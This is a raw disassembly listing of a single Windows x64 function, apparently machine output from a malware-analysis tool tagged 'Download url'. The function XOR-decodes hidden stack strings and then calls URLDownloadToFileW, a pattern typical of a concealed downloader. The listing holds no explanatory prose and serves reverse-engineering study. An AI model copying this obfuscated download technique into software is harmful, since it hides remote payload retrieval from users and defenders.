Function at 0x1800077e0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x520
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1800f2040]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
movabs rax, 0x282b4edaf0e7739f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x54fcd2d0c468e7c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9dd8d606eeda2c4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xe9c9e0ba3d716c96
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x73afd3967a942d34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x4938c24d29bfe394
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xd6595c939d232be2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xa4ff69dc55c1ba42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x507641032fb646b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xfd6111f8bfcbb16c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc2c9b8957e0162e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xf5b621500dcc4da3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xcea32f5253bb2672
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xc76673c8076f64f8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x19bbe39b11282dc3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x58b7d163b671936c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x1b8ab0e8f06fd9b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x7a4d559eb009f273
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xa3d495209e92ce8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x1a111cd6b38fa1b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x2c0abbe6a5694b38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x856ccdf676fc3682
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x7a4e3e145d413133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x7afd715d8c80df9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x26b1ef203128bd9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x30bd0b4cc84029c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xe8ac3b236b3fa1c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xa7f9fef505af059c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xb0177b780b5bd135
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x90cb0e46cf9c6d7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xf6e53e501723c1b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x4d136835cd15490a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x7ed01eb74a994873
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x806e146de1beb6e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x6c26faaad1ad27aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x7d598acf0cacdba6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xf4e721643f334619
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xb58209f3d9c78e61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xde6de0f8c5ec33c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x57d3d7f8c8d4efb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xdf617925e41c2d4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xb5b3ad83db870a5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xca1287330be81090
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xa8ff8f24a7bc8edf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xd7363228c7bcb782
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x4308eb6c44c6ced5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xaa04501454230433
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rcx, 0x4e22f8b5c9bf247e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs r13, 0x285b4eaef09373f7
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs r12, 0x54d3d2ffc452e7b0
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs r15, 0x9df6d668eebe2c29
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs r14, 0xe9aae0c93d186cf2
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rsi, 0x73ced3f27ae62d5b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rdi, 0x495bc26329cfe3e4
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rbx, 0xd6385cbc9d4e2b8d
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs r11, 0xa49c69bd55b5ba36
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs r10, 0x501841662fdb46df
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs r9, 0xfd5011d7bfb8b118
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs r8, 0xc2f0b8a07e3162d1
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rdx, 0xf58521610dfb4d9a
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xce902f6a53882643
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xc75273fb075b64cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x198ae3b4111f2df5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x5884d155b646935e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x1bbdb0def05fd987
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x7a7455afb03af240
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xa3e195189eaaceb9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x1a441cf9b3bba182
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x2c6fbba2a52b4b6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x851bcd93769536f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x7a2b3e6c5d24311d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x792d76dd8ad0dc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x25f1e9603248bef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x33ad087ccb102a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0xe8913b506b56a1e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xa7cbfe91059905aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0xb0267b1a0b68d153
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0x90f60e2bcff46d5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0xf6803e641715c185
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x4d246805cd70496e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x7eb41e8e4aaf4817
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x805f145fe187b6d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rax, 0x6c47fac8d19427c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0x7d3a8aa90ccddb92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0xf4d621523f0a467b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0xb5b509c3d9f68e04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0xde5ee09cc58833ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0x57e1d79dc8e4efd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0xdf547946e4792d7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0xb581adb7dbe40a38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0xca2787000b8d10f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0xa8ca8f41a7858eba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0xd704324ac78db7e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x433ceb5b44f4ceec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xaa04501454230415
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0x200], ymm1
movabs rax, 0x280c4ef2f0a973b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x54bcd29bc43ce7d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x9da5d634eecd2c5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xe9cfe0bd3d6b6c8b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x7392d3c07ad52d36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x4938c21129aae3b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xd6515cc89d3e2be8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xa4f569ee55dbba59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x5079410a2fae46b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xfd3e11b8bfd1b16c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xc2f0b8a07e31628d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x80], ymm1
movabs rax, 0x28384edcf0f673a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x54bad28bc422e7d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x9d9fd63beed02c46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xe9cbe0a53d6d6c9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x73a0d39d7a8f2d2f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x492fc20d29a0e3a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xd65d5cd09d212bff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xa4e469d8559bba44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x501841662fdb46ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x320]
vmovdqa xmmword [rbp + 0x2c0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x220], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x230], xmm1
lea rax, [rbp + 0x280]
mov rbx, 0xffffffffffffffff
mov r8, rbx
vzeroupper
inc r8
cmp word [rax + r8*2], 0
jne 0x180008683
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x220]
call fcn.18001a520
nop
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea rax, [rbp + 0x40]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1800086b5
mov r8, rbx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 8]
call fcn.18001a520
nop
mov r8d, 1
lea rdx, [0x1800d8e6c]
lea rcx, [rbp + 8]
call fcn.1800185a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x220]
lea r8, [rbp + 0x240]
lea rcx, [rbp + 0x260]
call fcn.18001b220
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 7
jbe 0x180008771
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000876b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000876b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800b75f0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x1800087b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800087af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800087af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800b75f0
movdqa xmm0, xmmword [0x1800df650]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], bx
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x18000880e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008809
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800b75f0
lea r8, [rbp + 0x260]
cmp qword [rbp + 0x278], 7
cmova r8, qword [rbp + 0x260]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
shr ebx, 0x1f
mov rdx, qword [rbp + 0x278]
cmp rdx, 7
jbe 0x18000888a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008885
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008885
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800b75f0
mov eax, ebx
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.1800b75d0
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret